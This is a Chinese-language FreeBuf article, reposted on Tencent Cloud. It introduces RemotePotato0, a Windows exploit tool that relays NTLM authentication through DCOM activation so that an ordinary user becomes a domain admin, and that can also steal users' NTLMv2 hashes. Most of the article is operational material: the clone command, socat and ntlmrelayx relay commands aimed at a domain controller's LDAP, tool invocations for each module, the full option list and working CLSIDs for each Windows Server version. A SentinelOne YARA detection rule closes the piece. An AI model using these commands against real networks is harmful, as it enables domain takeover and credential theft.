前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >如何使用RemotePotato0从普通用户提升至域管理员

如何使用RemotePotato0从普通用户提升至域管理员

作者头像
FB客服
发布2021-09-16 11:06:27
6700
发布2021-09-16 11:06:27
举报
文章被收录于专栏:FreeBuf

关于RemotePotato0

RemotePotato0是一款功能强大的Windows提权工具,本质上来说RemotePotato0是一个漏洞利用工具,可以帮助广大研究人员在Windows系统上,从一个普通用户提权至域管理员权限。

RemotePotato0可以利用DCOM激活服务,并触发针对当前登录到目标计算机的任何用户的NTLM身份验证。与此同时,该工具还需要在相同设备上已经有特权用户登录了(比如说,域管理员用户)。一旦触发NTLM type1,RemotePotato0将设置一个跨协议中继服务器,该服务器将负责接收特权type1消息,并通过解包RPC协议和HTTP打包身份验证,然后将其中继到第三个资源。在接收端,你可以设置另一个中继节点(如ntlmrelayx)或直接中继到特权资源。除此之外,RemotePotato0还允许抓取和窃取登录到目标设备上的每个用户的NTLMv2哈希。

源码获取

广大研究人员可以使用下列命令将该项目源码克隆至本地:

代码语言:javascript
复制
git clone https://github.com/antonioCoco/RemotePotato0.git

使用场景

攻击设备(10.0.0.20) 目标设备(10.0.0.45) 目标域控制器(10.0.0.10)

模块0 - Rpc2Http跨协议中继服务器 + potato触发器

代码语言:javascript
复制
sudo socat -v TCP-LISTEN:135,fork,reuseaddr TCP:10.0.0.45:9999 &

sudo ntlmrelayx.py -t ldap://10.0.0.10 --no-wcf-server --escalate-user normal_user

注意:如果你操作的是Windows Server <= 2016,你可以避免使用网络重定向器(socat):

代码语言:javascript
复制
query user

.\RemotePotato0.exe -m 0 -r 10.0.0.20 -x 10.0.0.20 -p 9999 -s 1

模块1 - Rpc2Http跨协议中继服务器

代码语言:javascript
复制
.\RemotePotato0.exe -m 1 -l 9997 -r 10.0.0.20
代码语言:javascript
复制
rp*cping -s 127.0.0.1 -e 9997 -a connect -u ntlm

模块2 - RPC捕捉(哈希)服务器

代码语言:javascript
复制
.\RemotePotato0.exe -m 3 -l 9997

rp*cping -s 127.0.0.1 -e 9997 -a connect -u ntlm

工具使用

代码语言:javascript
复制
RemotePotato0

        @splinter_code & @decoder_it







Mandatory args:

-m module

        Allowed values:

        0 - Rpc2Http cross protocol relay server + potato trigger (default)

        1 - Rpc2Http cross protocol relay server

        2 - Rpc capture (hash) server + potato trigger

        3 - Rpc capture (hash) server





Other args: (someone could be mandatory and/or optional based on the module you use)

-r 远程HTTP中继服务器IP

-t 远程HTTP中继服务器端口 (默认为80)

-x 流氓Oxid解析器IP (默认为127.0.0.1)

-p 流氓Oxid解析器端口 (默认为9999)

-l RPC中继服务器监听端口 (默认为9997)

-s 跨会话激活攻击的目标会话IP (默认为disabled)

-c CLSID (默认为{5167B42F-C111-47A1-ACC4-8EABE61B0B54})

工具演示

跨会话激活:GIF

哈希窃取:GIF

CLSID列表

该工具还提供了一个可用的针对各种Windows版本的CLSID列表:

Windows Server 2019

代码语言:javascript
复制
{0002DF02-0000-0000-C000-000000000046} - BrowserBroker Class
{0ea79562-d4f6-47ba-b7f2-1e9b06ba16a4} - AuthBrokerUI

{5167B42F-C111-47A1-ACC4-8EABE61B0B54} - Easconsent.dll

{924DC564-16A6-42EB-929A-9A61FA7DA06F} - Authentication UI CredUI Out of Proc Helper for Non-AppContainer Clients

{934b410c-43e4-415e-9935-fbc081ba93a9} - UserInfoDialog

{BA441419-0B3F-4FB6-A903-D16CC14CCA44} - CLSID_LockScreenContentionFlyout

{c58ca859-80bc-48df-8f06-ffa94a405bff} - Picker Host

{f65817c8-dd85-4136-89f0-b9d12939f2c4} - IsolatedMessageDialogFactory

{F87B28F1-DA9A-4F35-8EC0-800EFCF26B83} - SPPUIObjectInteractive Class
{f8842f8e-dafe-4b37-9d38-4e0714a61149} - CastServerInteractiveUser

Windows Server 2016

代码语言:javascript
复制
{924DC564-16A6-42EB-929A-9A61FA7DA06F}

{f65817c8-dd85-4136-89f0-b9d12939f2c4}

{BA441419-0B3F-4FB6-A903-D16CC14CCA44}

{0ea79562-d4f6-47ba-b7f2-1e9b06ba16a4}

{934b410c-43e4-415e-9935-fbc081ba93a9}

{f8842f8e-dafe-4b37-9d38-4e0714a61149}

{0002DF02-0000-0000-C000-000000000046}

{5167B42F-C111-47A1-ACC4-8EABE61B0B54}

{c58ca859-80bc-48df-8f06-ffa94a405bff}

{F87B28F1-DA9A-4F35-8EC0-800EFCF26B83}

Windows Server 2008 R2

代码语言:javascript
复制
{FCC74B77-EC3E-4dd8-A80B-008A702075A9}

{9BA05972-F6A8-11CF-A442-00A0C90A8F39}

{F87B28F1-DA9A-4F35-8EC0-800EFCF26B83}

如何检测

我们可以使用下列Yara规则来检测RemotePotato0:

代码语言:javascript
复制
rule SentinelOne_RemotePotato0_privesc {

    meta:

        author = "SentinelOne"

        description = "Detects RemotePotato0 binary"

        reference = "https://labs.sentinelone.com/relaying-potatoes-dce-rpc-ntlm-relay-eop"

    strings:

        $import1 = "CoGetInstanceFromIStorage"

        $istorage_clsid = "{00000306-0000-0000-c000-000000000046}" nocase wide ascii

        $meow_header = { 4d 45 4f 57 }

        $clsid1 = "{11111111-2222-3333-4444-555555555555}" nocase wide ascii

        $clsid2 = "{5167B42F-C111-47A1-ACC4-8EABE61B0B54}" nocase wide ascii

    condition:

        (uint16(0) == 0x5A4D) and $import1 and $istorage_clsid and $meow_header and 1 of ($clsid*)

}

项目地址

RemotePotato0:【点击底部阅读原文获取】

参考资料

http://ohpe.it/juicy-potato/CLSID/ https://labs.sentinelone.com/relaying-potatoes-dce-rpc-ntlm-relay-eop/ https://www.tiraniddo.dev/2021/04/standard-activating-yourself-to.html

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2021-08-31,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 FreeBuf 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 关于RemotePotato0
  • 源码获取
  • 使用场景
    • 模块0 - Rpc2Http跨协议中继服务器 + potato触发器
      • 模块1 - Rpc2Http跨协议中继服务器
        • 模块2 - RPC捕捉(哈希)服务器
        • 工具使用
        • 工具演示
        • CLSID列表
          • Windows Server 2019
            • Windows Server 2016
              • Windows Server 2008 R2
              • 如何检测
              • 项目地址
              • 参考资料
              相关产品与服务
              日志服务
              日志服务(Cloud Log Service,CLS)是腾讯云提供的一站式日志服务平台,提供了从日志采集、日志存储到日志检索,图表分析、监控告警、日志投递等多项服务,协助用户通过日志来解决业务运维、服务监控、日志审计等场景问题。
              领券
              问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档